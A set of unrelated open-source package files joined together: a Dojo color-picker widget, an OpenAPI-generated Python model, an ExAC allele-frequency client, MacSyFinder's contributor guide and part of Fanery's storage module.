// toggle to use slideTo (true) or just place the cursor (false) on click
animatePoint: true,
// slideDuration: Integer
// time in ms picker node will slide to next location (non-dragging) when animatePoint=true
slideDuration: 250,
// liveUpdate: Boolean
// Set to true to fire onChange in an indeterminate way
liveUpdate: false,
// PICKER_HUE_H: int
// Height of the hue picker, used to calculate positions
PICKER_HUE_H: 150,
// PICKER_SAT_VAL_H: int
// Height of the 2d picker, used to calculate positions
PICKER_SAT_VAL_H: 150,
// PICKER_SAT_VAL_W: int
// Width of the 2d picker, used to calculate positions
PICKER_SAT_VAL_W: 150,
// PICKER_HUE_SELECTOR_H: int
// Height of the hue selector DOM node, used to calc offsets so that selection
// is center of the image node.
PICKER_HUE_SELECTOR_H: 8,
// PICKER_SAT_SELECTOR_H: int
// Height of the saturation selector DOM node, used to calc offsets so that selection
// is center of the image node.
PICKER_SAT_SELECTOR_H: 10,
// PICKER_SAT_SELECTOR_W: int
// Width of the saturation selector DOM node, used to calc offsets so that selection
// is center of the image node.
PICKER_SAT_SELECTOR_W: 10,
// value: String
// Default color for this component. Only hex values are accepted as incoming/returned
// values. Adjust this value with `.attr`, eg: dijit.byId("myPicker").attr("value", "#ededed");
// to cause the points to adjust and the values to reflect the current color.
value: "#ffffff",
_underlay: kernel.moduleUrl("dojox.widget","ColorPicker/images/underlay.png"),
_hueUnderlay: kernel.moduleUrl("dojox.widget","ColorPicker/images/hue.png"),
_pickerPointer: kernel.moduleUrl("dojox.widget","ColorPicker/images/pickerPointer.png"),
_huePickerPointer: kernel.moduleUrl("dojox.widget","ColorPicker/images/hueHandle.png"),
_huePickerPointerAlly: kernel.moduleUrl("dojox.widget","ColorPicker/images/hueHandleA11y.png"),
templateString: template,
postMixInProperties: function(){
if(DOMClass.contains(win.body(), "dijit_a11y")){
// Use the pointer that will show up in high contrast.
this._huePickerPointer = this._huePickerPointerAlly;
}
this._uId = registry.getUniqueId(this.id);
lang.mixin(this, i18n.getLocalization("dojox.widget", "ColorPicker"));
lang.mixin(this, i18n.getLocalization("dojo.cldr", "number"));
this.inherited(arguments);
},
postCreate: function(){
// summary:
// As quickly as we can, set up ie6 alpha-filter support for our
// underlay. we don't do image handles (done in css), just the 'core'
// of this widget: the underlay.
this.inherited(arguments);
if(has("ie") < 7){
this.colorUnderlay.style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+this._underlay+"', sizingMethod='scale')";
this.colorUnderlay.src = this._blankGif.toString();
}
// hide toggle-able nodes:
if(!this.showRgb){ this.rgbNode.style.visibility = "hidden"; }
if(!this.showHsv){ this.hsvNode.style.visibility = "hidden"; }
if(!this.showHex){ this.hexNode.style.visibility = "hidden"; }
if(!this.webSafe){ this.safePreviewNode.style.visibility = "hidden"; }
},
startup: function(){
if(this._started){
return;
}
this._started = true;
this.set("value", this.value);
this._mover = new move.boxConstrainedMoveable(this.cursorNode, {
box: {
t: -(this.PICKER_SAT_SELECTOR_H/2),
l: -(this.PICKER_SAT_SELECTOR_W/2),
w:this.PICKER_SAT_VAL_W,
h:this.PICKER_SAT_VAL_H
}
});
this._hueMover = new move.boxConstrainedMoveable(this.hueCursorNode, {
box: {
t: -(this.PICKER_HUE_SELECTOR_H/2),
l:0,
w:0,
h:this.PICKER_HUE_H
}
});
this._subs = [];
// no dnd/move/move published ... use a timer:
this._subs.push(Hub.subscribe("/dnd/move/stop", lang.hitch(this, "_clearTimer")));
this._subs.push(Hub.subscribe("/dnd/move/start", lang.hitch(this, "_setTimer")));
// Bind to up, down, left and right arrows on the hue and saturation nodes.
this._keyListeners = [];
this._connects.push(Typematic.addKeyListener(this.hueCursorNode,{
charOrCode: Keys.UP_ARROW,
shiftKey: false,
metaKey: false,
ctrlKey: false,
altKey: false
}, this, lang.hitch(this, this._updateHueCursorNode), 25, 25));
this._connects.push(Typematic.addKeyListener(this.hueCursorNode,{
charOrCode: Keys.DOWN_ARROW,
shiftKey: false,
metaKey: false,
ctrlKey: false,
altKey: false
}, this, lang.hitch(this, this._updateHueCursorNode), 25, 25));
this._connects.push(Typematic.addKeyListener(this.cursorNode,{
charOrCode: Keys.UP_ARROW,
shiftKey: false,
metaKey: false,
ctrlKey: false,
altKey: false
}, this, lang.hitch(this, this._updateCursorNode), 25, 25));
this._connects.push(Typematic.addKeyListener(this.cursorNode,{
charOrCode: Keys.DOWN_ARROW,
shiftKey: false,
metaKey: false,
ctrlKey: false,
altKey: false
}, this, lang.hitch(this, this._updateCursorNode), 25, 25));
this._connects.push(Typematic.addKeyListener(this.cursorNode,{
charOrCode: Keys.LEFT_ARROW,
shiftKey: false,
metaKey: false,
ctrlKey: false,
altKey: false
}, this, lang.hitch(this, this._updateCursorNode), 25, 25));
this._connects.push(Typematic.addKeyListener(this.cursorNode,{
charOrCode: Keys.RIGHT_ARROW,
shiftKey: false,
metaKey: false,
ctrlKey: false,
altKey: false
}, this, lang.hitch(this, this._updateCursorNode), 25, 25));
},
_setValueAttr: function(value){
if(!this._started){ return; }
this.setColor(value, true);
},
setColor: function(/* String */col, force){
// summary: Set a color on a picker. Usually used to set
// initial color as an alternative to passing defaultColor option
// to the constructor.
col = color.fromString(col);
this._updatePickerLocations(col);
this._updateColorInputs(col);
this._updateValue(col, force);
},
_setTimer: function(/* d.dnd.Mover */mover){
if(mover.node != this.cursorNode){ return; }
// FIXME: should I assume this? focus on mouse down so on mouse up
FocusManager.focus(mover.node);
DOM.setSelectable(this.domNode,false);
this._timer = setInterval(lang.hitch(this, "_updateColor"), 45);
},
_clearTimer: function(/* d.dnd.Mover */mover){
if(!this._timer){ return; }
clearInterval(this._timer);
this._timer = null;
this.onChange(this.value);
DOM.setSelectable(this.domNode,true);
},
_setHue: function(/* Decimal */h){
// summary:
// Sets a natural color background for the
// underlay image against closest hue value (full saturation)
// h: 0..360
html.style(this.colorUnderlay, "backgroundColor", color.fromHsv(h,100,100).toHex());
},
_updateHueCursorNode: function(count, node, e){
// summary:
// Function used by the typematic code to handle cursor position and update
// via keyboard.
// count:
// -1 means stop, anything else is just how many times it was called.
// node:
// The node generating the event.
// e:
// The event.
if(count !== -1){
var y = html.style(this.hueCursorNode, "top");
var selCenter = this.PICKER_HUE_SELECTOR_H/2;
// Account for our offset
y += selCenter;
var update = false;
if(e.charOrCode == Keys.UP_ARROW){
if(y > 0){
y -= 1;
update = true;
}
}else if(e.charOrCode == Keys.DOWN_ARROW){
if(y < this.PICKER_HUE_H){
y += 1;
update = true;
}
}
y -= selCenter;
if(update){
html.style(this.hueCursorNode, "top", y + "px");
}
}else{
this._updateColor(true);
}
},
_updateCursorNode: function(count, node, e){
// summary:
// Function used by the typematic code to handle cursor position and update
// via keyboard.
// count:
// -1 means stop, anything else is just how many times it was called.
// node:
// The node generating the event.
// e:
// The event.
var selCenterH = this.PICKER_SAT_SELECTOR_H/2;
var selCenterW = this.PICKER_SAT_SELECTOR_W/2;
if(count !== -1){
var y = html.style(this.cursorNode, "top");
var x = html.style(this.cursorNode, "left");
// Account for our offsets to center
y += selCenterH;
x += selCenterW;
var update = false;
if(e.charOrCode == Keys.UP_ARROW){
if(y > 0){
y -= 1;
update = true;
}
}else if(e.charOrCode == Keys.DOWN_ARROW){
if(y < this.PICKER_SAT_VAL_H){
y += 1;
update = true;
}
}else if(e.charOrCode == Keys.LEFT_ARROW){
if(x > 0){
x -= 1;
update = true;
}
}else if(e.charOrCode == Keys.RIGHT_ARROW){
if(x < this.PICKER_SAT_VAL_W){
x += 1;
update = true;
}
}
if(update){
// Account for our offsets to center
y -= selCenterH;
x -= selCenterW;
html.style(this.cursorNode, "top", y + "px");
html.style(this.cursorNode, "left", x + "px");
}
}else{
this._updateColor(true);
}
},
_updateColor: function(){
// summary: update the previewNode color, and input values [optional]
var hueSelCenter = this.PICKER_HUE_SELECTOR_H/2,
satSelCenterH = this.PICKER_SAT_SELECTOR_H/2,
satSelCenterW = this.PICKER_SAT_SELECTOR_W/2;
var _huetop = html.style(this.hueCursorNode,"top") + hueSelCenter,
_pickertop = html.style(this.cursorNode,"top") + satSelCenterH,
_pickerleft = html.style(this.cursorNode,"left") + satSelCenterW,
h = Math.round(360 - (_huetop / this.PICKER_HUE_H * 360)),
col = color.fromHsv(h, _pickerleft / this.PICKER_SAT_VAL_W * 100, 100 - (_pickertop / this.PICKER_SAT_VAL_H * 100))
;
this._updateColorInputs(col);
this._updateValue(col, true);
// update hue, not all the pickers
if(h!=this._hue){
this._setHue(h);
}
},
_colorInputChange: function(e){
//summary: updates picker position and inputs
// according to rgb, hex or hsv input changes
var col, hasit = false;
switch(e.target){
//transform to hsv to pixels
case this.hexCode:
col = color.fromString(e.target.value);
hasit = true;
break;
case this.Rval:
case this.Gval:
case this.Bval:
col = color.fromArray([this.Rval.value, this.Gval.value, this.Bval.value]);
hasit = true;
break;
case this.Hval:
case this.Sval:
case this.Vval:
col = color.fromHsv(this.Hval.value, this.Sval.value, this.Vval.value);
hasit = true;
break;
}
if(hasit){
this._updatePickerLocations(col);
this._updateColorInputs(col);
this._updateValue(col, true);
}
},
_updateValue: function(/* dojox.color.Color */col, /* Boolean */fireChange){
// summary: updates the value of the widget
// can cancel reverse onChange by specifying second param
var hex = col.toHex();
this.value = this.valueNode.value = hex;
// anytime we muck with the color, fire onChange?
if(fireChange && (!this._timer || this.liveUpdate)){
this.onChange(hex);
}
},
_updatePickerLocations: function(/* dojox.color.Color */col){
//summary: update handles on the pickers acording to color values
//
var hueSelCenter = this.PICKER_HUE_SELECTOR_H/2,
satSelCenterH = this.PICKER_SAT_SELECTOR_H/2,
satSelCenterW = this.PICKER_SAT_SELECTOR_W/2;
var hsv = col.toHsv(),
ypos = Math.round(this.PICKER_HUE_H - hsv.h / 360 * this.PICKER_HUE_H) - hueSelCenter,
newLeft = Math.round(hsv.s / 100 * this.PICKER_SAT_VAL_W) - satSelCenterW,
newTop = Math.round(this.PICKER_SAT_VAL_H - hsv.v / 100 * this.PICKER_SAT_VAL_H) - satSelCenterH
;
if(this.animatePoint){
fx.slideTo({
node: this.hueCursorNode,
duration: this.slideDuration,
top: ypos,
left: 0
}).play();
fx.slideTo({
node: this.cursorNode,
duration: this.slideDuration,
top: newTop,
left: newLeft
}).play();
}
else {
html.style(this.hueCursorNode, "top", ypos + "px");
html.style(this.cursorNode, {
left: newLeft + "px",
top: newTop + "px"
});
}
// limit hue calculations to only when it changes
if(hsv.h != this._hue){
this._setHue(hsv.h);
}
},
_updateColorInputs: function(/* dojox.color.Color */col){
//summary: updates color inputs that were changed through other inputs
//or by clicking on the picker
var hex = col.toHex();
if(this.showRgb){
this.Rval.value = col.r;
this.Gval.value = col.g;
this.Bval.value = col.b;
}
if(this.showHsv){
var hsv = col.toHsv();
this.Hval.value = Math.round((hsv.h)); // convert to 0..360
this.Sval.value = Math.round(hsv.s);
this.Vval.value = Math.round(hsv.v);
}
if(this.showHex){
this.hexCode.value = hex;
}
this.previewNode.style.backgroundColor = hex;
if(this.webSafe){
this.safePreviewNode.style.backgroundColor = webSafeFromHex(hex);
}
},
_setHuePoint: function(/* Event */evt){
// summary: set the hue picker handle on relative y coordinates
var selCenter = this.PICKER_HUE_SELECTOR_H/2;
var ypos = evt.layerY - selCenter;
if(this.animatePoint){
fx.slideTo({
node: this.hueCursorNode,
duration:this.slideDuration,
top: ypos,
left: 0,
onEnd: lang.hitch(this, function(){ this._updateColor(true); FocusManager.focus(this.hueCursorNode); })
}).play();
}else{
html.style(this.hueCursorNode, "top", ypos + "px");
this._updateColor(false);
}
},
_setPoint: function(/* Event */evt){
// summary: set our picker point based on relative x/y coordinates
// evt.preventDefault();
var satSelCenterH = this.PICKER_SAT_SELECTOR_H/2;
var satSelCenterW = this.PICKER_SAT_SELECTOR_W/2;
var newTop = evt.layerY - satSelCenterH;
var newLeft = evt.layerX - satSelCenterW;
if(evt){ FocusManager.focus(evt.target); }
if(this.animatePoint){
fx.slideTo({
node: this.cursorNode,
duration: this.slideDuration,
top: newTop,
left: newLeft,
onEnd: lang.hitch(this, function(){ this._updateColor(true); FocusManager.focus(this.cursorNode); })
}).play();
}else{
html.style(this.cursorNode, {
left: newLeft + "px",
top: newTop + "px"
});
this._updateColor(false);
}
},
_handleKey: function(/* Event */e){
// FIXME: not implemented YET
// var keys = d.keys;
},
focus: function(){
// summary:
// Put focus on this widget, only if focus isn't set on it already.
if(!this.focused){
FocusManager.focus(this.focusNode);
}
},
_stopDrag: function(e){
// summary:
// Function to hald the mouse down default
// to disable draggong of images out of the color
// picker.
Event.stop(e);
},
destroy: function(){
// summary:
// Over-ride to clean up subscriptions, etc.
this.inherited(arguments);
ArrayUtil.forEach(this._subs, function(sub){
Hub.unsubscribe(sub);
});
delete this._subs;
}
});
}); | PypiClean |
/Altair%20Smartworks%20SDK-0.0.1.tar.gz/Altair Smartworks SDK-0.0.1/openapi_client/model/action_delay_response.py | import re # noqa: F401
import sys # noqa: F401
from openapi_client.model_utils import ( # noqa: F401
ApiTypeError,
ModelComposed,
ModelNormal,
ModelSimple,
cached_property,
change_keys_js_to_python,
convert_js_args_to_python_args,
date,
datetime,
file_type,
none_type,
validate_get_composed_info,
)
def lazy_import():
from openapi_client.model.action_delay_input import ActionDelayInput
from openapi_client.model.property_cpu_response_links import PropertyCPUResponseLinks
globals()['ActionDelayInput'] = ActionDelayInput
globals()['PropertyCPUResponseLinks'] = PropertyCPUResponseLinks
class ActionDelayResponse(ModelNormal):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
Attributes:
allowed_values (dict): The key is the tuple path to the attribute
and the for var_name this is (var_name,). The value is a dict
with a capitalized key describing the allowed value and an allowed
value. These dicts store the allowed enum values.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
discriminator_value_class_map (dict): A dict to go from the discriminator
variable value to the discriminator class name.
validations (dict): The key is the tuple path to the attribute
and the for var_name this is (var_name,). The value is a dict
that stores validations for max_length, min_length, max_items,
min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum,
inclusive_minimum, and regex.
additional_properties_type (tuple): A tuple of classes accepted
as additional properties values.
"""
allowed_values = {
}
validations = {
}
additional_properties_type = None
_nullable = False
@cached_property
def openapi_types():
"""
This must be a method because a model may have properties that are
of type self, this must run after the class is loaded
Returns
openapi_types (dict): The key is attribute name
and the value is attribute type.
"""
lazy_import()
return {
'title': (str,), # noqa: E501
'description': (str,), # noqa: E501
'input': (ActionDelayInput,), # noqa: E501
'links': ([PropertyCPUResponseLinks],), # noqa: E501
}
@cached_property
def discriminator():
return None
attribute_map = {
'title': 'title', # noqa: E501
'description': 'description', # noqa: E501
'input': 'input', # noqa: E501
'links': 'links', # noqa: E501
}
_composed_schemas = {}
required_properties = set([
'_data_store',
'_check_type',
'_spec_property_naming',
'_path_to_item',
'_configuration',
'_visited_composed_classes',
])
@convert_js_args_to_python_args
def __init__(self, *args, **kwargs): # noqa: E501
"""ActionDelayResponse - a model defined in OpenAPI
Keyword Args:
_check_type (bool): if True, values for parameters in openapi_types
will be type checked and a TypeError will be
raised if the wrong type is input.
Defaults to True
_path_to_item (tuple/list): This is a list of keys or values to
drill down to the model in received_data
when deserializing a response
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_configuration (Configuration): the instance to use when
deserializing a file_type parameter.
If passed, type conversion is attempted
If omitted no type conversion is done.
_visited_composed_classes (tuple): This stores a tuple of
classes that we have traveled through so that
if we see that class again we will not use its
discriminator again.
When traveling through a discriminator, the
composed schema that is
is traveled through is added to this set.
For example if Animal has a discriminator
petType and we pass in "Dog", and the class Dog
allOf includes Animal, we move through Animal
once using the discriminator, and pick Dog.
Then in Dog, we will make an instance of the
Animal class but this time we won't travel
through its discriminator because we passed in
_visited_composed_classes = (Animal,)
title (str): [optional] # noqa: E501
description (str): [optional] # noqa: E501
input (ActionDelayInput): [optional] # noqa: E501
links ([PropertyCPUResponseLinks]): [optional] # noqa: E501
"""
_check_type = kwargs.pop('_check_type', True)
_spec_property_naming = kwargs.pop('_spec_property_naming', False)
_path_to_item = kwargs.pop('_path_to_item', ())
_configuration = kwargs.pop('_configuration', None)
_visited_composed_classes = kwargs.pop('_visited_composed_classes', ())
if args:
raise ApiTypeError(
"Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % (
args,
self.__class__.__name__,
),
path_to_item=_path_to_item,
valid_classes=(self.__class__,),
)
self._data_store = {}
self._check_type = _check_type
self._spec_property_naming = _spec_property_naming
self._path_to_item = _path_to_item
self._configuration = _configuration
self._visited_composed_classes = _visited_composed_classes + (self.__class__,)
for var_name, var_value in kwargs.items():
if var_name not in self.attribute_map and \
self._configuration is not None and \
self._configuration.discard_unknown_keys and \
self.additional_properties_type is None:
# discard variable.
continue
setattr(self, var_name, var_value) | PypiClean |
/BioMine-0.9.5.zip/BioMine-0.9.5/biomine/webapi/exac/exacapi.py |
import time
from biomine.webapi.webapi import webapi
import xml.etree.ElementTree as ET
import json
import AdvancedHTMLParser
import biomine.variant.variant
class exacapi(webapi):
endpoint = "http://exac.broadinstitute.org/"
endpoint_harvard = "http://exac.hms.harvard.edu/rest/"
variant = "variant/"
gene = "gene/"
def __init__(self,**kwargs):
harvard = kwargs.get( "harvard" , False )
useEndpoint = exacapi.endpoint
if harvard:
useEndpoint = exacapi.endpoint_harvard
subset = kwargs.get("subset",'')
if not subset:
super(exacapi,self).__init__(useEndpoint,exacapi.variant)
else:
if ( subset == exacapi.variant ):
super(exacapi,self).__init__(useEndpoint,subset)
else:
print "biomine ERROR: bad subset. webapi.subset initializing to variant association results"
super(exacapi,self).__init__(useEndpoint,exacapi.variant)
def setSubset(self,subset):
self.subset = subset
self.action = ""
def resetURL(self):
self.action = ""
def buildQuery( self , query ):
if self.subset == exacapi.variant:
self.action = self.buildVariant( query )
else:
self.action = query
def buildVariant( self , var ):
if var.reference == "-" or not var.reference:
return '-'.join( [ var.chromosome , str(var.start) , "" , var.alternate ] )
if var.alternate == "-" or not var.alternate:
return '-'.join( [ var.chromosome , str(var.start) , var.reference , "" ] )
else:
return '-'.join( [ var.chromosome , str(var.start) , var.reference , var.alternate ] )
def getPage( self , var ):
self.buildQuery( var )
try:
self.submit()
except:
print "biomine::webapi::exac::getPage failed on: " ,
print var.genomicVar()
return self.parseHTMLResponse()
def getAlleleFrequencies( self , variants ):
entries = {}
for var in variants:
# t = time.time()
entries[var.genomicVar()] = 1
try:
entries[var.genomicVar()] = self.getAlleleFrequency( var )
except:
print "biomine::webapi::exac::getAlleleFrequency failed on: " ,
print var.genomicVar()
# self.printRunTime( "getAlleleFrequency " + var.genomicVar() , self.runTime( t ) )
#time.sleep(1)
return entries
def getAlleleFrequency( self , var ):
alleleFrequency = None
if self.endpoint == exacapi.endpoint:
page = self.getPage( var )
if page:
dl = page.getElementsByTagName( 'dl' )
if dl:
dt = dl.getElementsByTagName( 'dt' )
if dt:
j = 0
for i in range( 0 , len( dt ) ):
if dt[i].innerHTML == "Allele Frequency":
j = i
dd = dl.getElementsByTagName( 'dd' )
if dd:
alleleFrequency = dd[j].innerHTML
return float(alleleFrequency)
else:
self.buildQuery( var )
# print self.buildURL()
# t = time.time()
self.submit( session=True )
# self.printRunTime( "\tsubmit " + self.buildURL() , self.runTime( t ) )
try:
# t = time.time()
page = json.loads( self.response.text )
# self.printRunTime( "\t\tjson.loads " , self.runTime( t ) )
variantInfo = page['variant']
alleleFrequency = variantInfo.get( 'allele_freq' )
except:
print "biomine Warning: could not extract allele frequency " ,
print "from exac for " + var.genomicVar() + ""
return alleleFrequency
print "biomine Error: could not get allele frequency from exac" | PypiClean |
/MacSyFinder-2.1.2.tar.gz/MacSyFinder-2.1.2/CONTRIBUTING.md | # How to contribute
Welcome! By visiting this page,
you've taken the first step toward becoming a contributor to macsyfinder!
## What skills do I need?
If you know Python3, you can contribute to the code.
And there are also many ways to contribute to the project without programming.
If you'd like to get involved in design,
support, testing, documentation, or other types of contributions.
## How Can I Contribute?
We use Github to host the project, to submit an issue or a pull request,
you have to create a GitHub account.
### Reporting Bugs
This section guides you through submitting a bug report for integron_finder.
Following these guidelines helps maintainers and the community understand your report,
reproduce the behavior, and find related reports.
Before creating bug reports, please check [this list](#before-submitting-a-bug-report)
as you might find out that you don't need to create one.
When you are creating a bug report, please
[include as many details as possible](#how-do-i-submit-a-good-bug-report).
Fill out [the required template](.github/ISSUE_TEMPLATE.md), the information it asks for helps us resolve issues faster.
> **Note:**
> If you find a **Closed** issue that seems like it is the same thing that you're experiencing,
> open a new issue and include a link to the original issue in the body of your new one.
#### Before Submitting A Bug Report
* **Perform a [cursory search](https://github.com/gem-pasteur/macsyfinder/issues?q=is%3Aopen+is%3Aissue+label%3Abug)**
to see if the problem has already been reported.
If it has **and the issue is still open**, add a comment to the existing issue instead of opening a new one.
#### How Do I Submit A (Good) Bug Report?
Bugs are tracked as [GitHub issues](https://guides.github.com/features/issues/).
Create an issue on that repository and provide the following information by filling in the template.
Explain the problem and include additional details to help maintainers reproduce the problem:
* **Use a clear and descriptive title** for the issue to identify the problem.
* **Describe the exact steps which reproduce the problem** in as many details as possible.
Which command exactly you used in the terminal.
When listing steps, **don't just say what you did, but explain how you did it**.
* **Provide specific examples to demonstrate the steps**.
Include links to files or GitHub projects, or copy/pasteable snippets, which you use in those examples.
If you're providing snippets in the issue, use [Markdown code blocks](https://help.github.com/articles/markdown-basics/#multiple-lines).
* **Describe the behavior you observed after following the steps** and point out what exactly is the problem with that behavior.
* **Explain which behavior you expected to see instead and why.**
* **If you're reporting that MacSyFinder crashed**,
include a crash report with a stack trace from the operating system.
Include the crash report in the issue in a [code block](https://help.github.com/articles/markdown-basics/#multiple-lines),
a [file attachment](https://help.github.com/articles/file-attachments-on-issues-and-pull-requests/),
or put it in a [gist](https://gist.github.com/) and provide link to that gist.
* **If the problem wasn't triggered by a specific action**, describe what you were doing before the problem happened
and share more information using the guidelines below.
##### Provide more context by answering these questions:
* **Did the problem start happening recently** (e.g. after updating to a new version of macsyfinder) or was this always a problem?
* If the problem started happening recently, **can you reproduce the problem in an older version of macsyfinder?**
What's the most recent version in which the problem doesn't happen? You can download older versions of macsyfinder from
[the releases page](https://github.com/gem-pasteur/macsyfinder/releases).
* **Can you reliably reproduce the issue?** If not, provide details about how often the problem happens and under which conditions it normally happens.
* If the problem is related to working with files (e.g. opening and editing files),
### Suggesting Enhancements
This section guides you through submitting an enhancement suggestion for macsyfinder,
including completely new features and minor improvements to existing functionality.
Following these guidelines helps maintainers and the community understand your suggestion :pencil:
and find related suggestions :mag_right:.
Before creating enhancement suggestions, please check [this list](#before-submitting-an-enhancement-suggestion)
as you might find out that you don't need to create one.
When you are creating an enhancement suggestion, please [include as many details as possible](#how-do-i-submit-a-good-enhancement-suggestion).
Fill in [the template](.github/ISSUE_TEMPLATE.md), including the steps that you imagine you would take if the feature you're requesting existed.
#### Before Submitting An Enhancement Suggestion
* **Check if you're using [the latest version of macsyfinder](https://github.com/gem-pasteur/macsyfinder/releases)**.
* **Perform a [cursory search](https://github.com/gem-pasteur/macsyfinder/issues?q=is%3Aopen+is%3Aissue+label%3Aenhancement)**
to see if the enhancement has already been suggested.
If it has, add a comment to the existing issue instead of opening a new one.
#### How Do I Submit A (Good) Enhancement Suggestion?
Enhancement suggestions are tracked as [GitHub issues](https://guides.github.com/features/issues/).
* **Use a clear and descriptive title** for the issue to identify the suggestion.
* **Provide a step-by-step description of the suggested enhancement** in as many details as possible.
* **Provide specific examples to demonstrate the steps**.
Include copy/pasteable snippets which you use in those examples, as [Markdown code blocks](https://help.github.com/articles/markdown-basics/#multiple-lines).
* **Describe the current behavior** and **explain which behavior you expected to see instead** and why.
* **Explain why this enhancement would be useful** to most macsyfinder users.
* **Specify which version of macsyfinder you're using.** You can get the exact version by running `macsyfinder --version` in your terminal.
* **Specify the name and version of the OS you're using.**
### Your First Code Contribution
Unsure where to begin contributing to macsyfinder? You can start by looking through these `beginner` and `help-wanted` issues:
* [Beginner issues][beginner] - issues which should only require a few lines of code, and a test or two.
* [Help wanted issues][help-wanted] - issues which should be a bit more involved than `beginner` issues.
### Pull Requests
#### Process
1. Follow the existing code style precedent. This does not need to be strictly
defined as there are many thousands of lines of examples. Note the lack
of tabs anywhere in the project, parentheses and spacing, curly bracket
locations, source code layout, variable scoping, etc. and follow the
project's standards.
2. For any new functionality, please write a test to be added to Continuous
Integration (Travis) to test it (tests can be found in the `tests/`
directory).
3. The project's default copyright and header have been included in any new
source files.
4. Make sure you have implemented a tests and all tests `python tests/run_tests.py`
succeed before submitting the PR.
5. Is the code human understandable? This can be accomplished via a clear code
style as well as documentation and/or comments.
6. The pull request will be reviewed by others, and the final merge must be
done by the MacSyFinder project lead.
7. Documentation must be provided if necessary ([next section](#documentation-style-guide))
8. Fill in [the required template](.github/PULL_REQUEST_TEMPLATE.md)
9. Do not include issue numbers in the PR title
### Style guides
### Git Commit Messages
* Limit the first line to 72 characters or less
* Reference issues and pull requests liberally after the first line
* Consider starting the commit message with an applicable emoji:
* :art: `:art:` when improving the format/structure of the code
* :sparkles: `:sparkles:` when implement a new feature
* :memo: `:pencil2:` when writing docs
* :bug: `:bug:` when fixing a bug
* :white_check_mark: `:white_check_mark:` when adding tests
* :fire: `:fire:` when removing code or files
* :arrow_up: `:arrow_up:` when upgrading dependencies
* :arrow_down: `:arrow_down:` when downgrading dependencies
### Python Style guide
*integron_finder* (from version 2.0) is written in Python3.7 or above
We try to follow the [zen of python](https://www.python.org/dev/peps/pep-0020/) principles,
and we adopted the [pep8](https://www.python.org/dev/peps/pep-0008/) coding style.
Add docstring compatible with sphinx in [restructuredtext]() format.
In docstring describe all parameters and types as well as the return, and error raise
directly by the method when applicable.
```python
def foo(param_1, param_2):
"""
foo do bla bla ...
:param param_1: what is the param 1
:type param_1: str
:param str param_2: what is the param 2,
when it is a basic type, it can be specified "on line"
:returns: what is returned by foo
:rtype: list of strings
:raise RuntimeError: when param_1 is longer than param_2
"""
if len(param_1) > len(param_2):
raise RuntimeError()
...
```
### Documentation Style guide
* We use [sphinx](http://www.sphinx-doc.org/en/stable/) with ReStructuredText syntax to document the project.
* We have separate user and developer documentation.
* In developer documentation before diving head first in detailed documentation,
you should try to get an overview of how your code works.
* We have a new page for each new scripts.
* In developer documentation don't forget the api reference section,
document every classes, methods (even private) or functions.
* In user documentation add examples, command lines, input and output.
| PypiClean |
/Fanery-0.2.5.tar.gz/Fanery-0.2.5/fanery/_store.py | __all__ = ['add_storage', 'add_model', 'Record', 'DataStore', 'storage']
from collections import defaultdict
from _term import parse_term, gen_uuid, is_class
from _auth import hooks, default_settings
from _state import get_state
import _exc as exc
from time import time as timestamp
import logging
logger = logging.getLogger('fanery.storage')
storage_reg = dict()
model_reg = dict()
class DataStore():
def __init__(self, storage, fuzzy=None, relational=None, permission=None,
state=None, abuse=None, profile=None, settings=None):
"""
When building the storage strategy for your models keep in mind:
1. It should support multitenancy.
2. Indexing and persistency should be handled by separate and
specialized database engines.
3. Each model/data-type may be handled by a different database engine.
4. Use real high-available elastic database and search engines with
predictable low latency.
5. Avoid engines that only offer eventual consistency.
6. Avoid propietary/closed-source Software solutions.
"""
relay = self.__dict__
# attach data persistence behaviours
relay.update(store=storage.store,
fetch=storage.fetch,
begin=storage.begin,
commit=storage.commit,
rollback=storage.rollback)
# attach data indexing behaviours
indexers = set()
if fuzzy is None:
fuzzy = storage
elif fuzzy is not storage:
indexers.add(fuzzy)
if relational is None:
relational = storage
elif relational is not storage:
indexers.add(relational)
indexers = tuple(indexers)
relay.update(search=fuzzy.search,
find=relational.find,
select=relational.select,
indexers=indexers)
# attach schema creation delegator
add_index = bool(relational is storage or fuzzy is storage)
def add_model(model):
storage.add_model(model, add_index=add_index)
for indexer in indexers:
indexer.add_model(model)
relay.update(add_model=add_model)
# register auth hooks
if permission is not None:
hooks.has_permission = permission.has_permission
if settings is not None:
hooks.update((name, getattr(settings, name))
for name in default_settings
if hasattr(settings, name))
if profile is not None:
hooks.fetch_profile = profile.fetch_profile
if abuse is not None:
hooks.update(incr_abuse=abuse.incr_abuse,
abuse_level_by_origin=abuse.abuse_level_by_origin)
if state is not None:
hooks.update(load_state=state.load_state,
store_state=state.store_state,
destroy_state=state.destroy_state,
active_user_sessions=state.active_user_sessions,
destroy_user_sessions=state.destroy_sessions,
fetch_prelogin=state.fetch_prelogin,
store_prelogin=state.store_prelogin,
prelogin_count=state.prelogin_count)
def add_storage(storage, *models):
for model in (models or model_reg.keys()):
model = getattr(model, '__name__', model)
assert model in model_reg, ('unknown-model', model)
storage_reg[model] = storage
storage.add_model(model)
def add_model(model, validator=None, initializer=None, indexer=None):
name = getattr(model, '__name__', model)
model_reg[name] = (getattr(model, 'validate', validator),
getattr(model, 'initialize', initializer),
getattr(model, 'index', indexer))
def get_storage(model):
if model not in storage_reg:
raise exc.UnknownModel(model)
return storage_reg[model]
def get_validator(model):
return model_reg[model][0] if model in model_reg else None
def get_initializer(model):
return model_reg[model][1] if model in model_reg else None
def get_indexer(model):
return model_reg[model][2] if model in model_reg else None
def get_fields(model):
return model_reg[model][3] if model in model_reg else None
class Aict(dict):
"""
Hierarchical dotted dictionary with value auto-parsing.
"""
def __missing__(self, key):
term = self[key] = Aict()
return term
def __setitem__(self, key, value):
dict.__setitem__(self, key, parse_term(value, dict_type=Aict))
__setattr__ = __setitem__
__getattr__ = dict.__getitem__
__delattr__ = dict.__delitem__
# record marks
UNDEF, INSERT, UPDATE, DELETE = range(4)
class Record(object):
def __init__(self, model, uuid, vsn, txn=None, _dct_=None, **dct):
model = getattr(model, '__name__', model)
self._store = store = get_storage(model)
if _dct_:
self._dct = parse_term(_dct_, dict_type=Aict)
elif dct:
